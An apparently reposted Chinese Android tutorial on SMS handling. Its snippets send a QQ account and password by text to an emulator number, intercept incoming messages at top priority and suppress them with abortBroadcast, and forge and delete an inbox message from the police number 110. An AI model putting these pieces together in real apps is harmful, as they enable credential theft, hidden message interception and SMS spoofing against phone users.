短信套路
来源:互联网 发布:大专软件学校 编辑:程序博客网 时间:2024/03/29 07:38
短信套路
发短信
SmsManager smsManager = SmsManager.getDefault();smsManager.sendTextMessage("5556", null, qq + "---" + pwd, null, null);
短信窃听(广播)
public class SmsReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { System.out.println("短信到来了...."); //短信的数据是pdu的数据,必须对短信的格式很了解才可以解析短信. Object[] objs = (Object[]) intent.getExtras().get("pdus"); for(Object obj:objs){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj); String body = smsMessage.getMessageBody();//内容 String sender = smsMessage.getOriginatingAddress();//发件人 System.out.println("body:"+body); System.out.println("sender:"+sender); abortBroadcast();//拦截有序广播 } }}<receiver android:name="com.itheima.smslistener.SmsReceiver" > <intent-filter android:priority="1000" > <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter></receiver><!-- 读取短信息权限,写入短信息权限 --><uses-permission android:name="android.permission.READ_SMS"/><uses-permission android:name="android.permission.WRITE_SMS"/>
短信添加和删除(内容提供者)
public class MainActivity extends Activity {
//利用内容提供者添加短信 public void add(View view){ Uri uri = Uri.parse("content://sms");//全部的短信 ContentResolver resolver = getContentResolver(); ContentValues values = new ContentValues(); values.put("address", "110"); values.put("date", System.currentTimeMillis()); values.put("type", 1); values.put("body", "恭喜您被评为见义勇为好市民,敢于扶老太太"); resolver.insert(uri, values); } //利用内容提供者删除短信 public void delete(View view){ Uri uri = Uri.parse("content://sms");//全部的短信 ContentResolver resolver = getContentResolver(); resolver.delete(uri, "address=?", new String[]{"110"}); }}<!-- 读取短信息权限,写入短信息权限 --><uses-permission android:name="android.permission.READ_SMS"/><uses-permission android:name="android.permission.WRITE_SMS"/>
短信的变化(内容观察者)
public class MainActivity extends Activity { private MyObserver observer; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Uri uri = Uri.parse("content://sms"); observer = new MyObserver(new Handler()); getContentResolver().registerContentObserver(uri, true, observer); } private class MyObserver extends ContentObserver{ public MyObserver(Handler handler) { super(handler); } @Override public void onChange(boolean selfChange) { super.onChange(selfChange); System.out.println("onchange"); } }}
0 0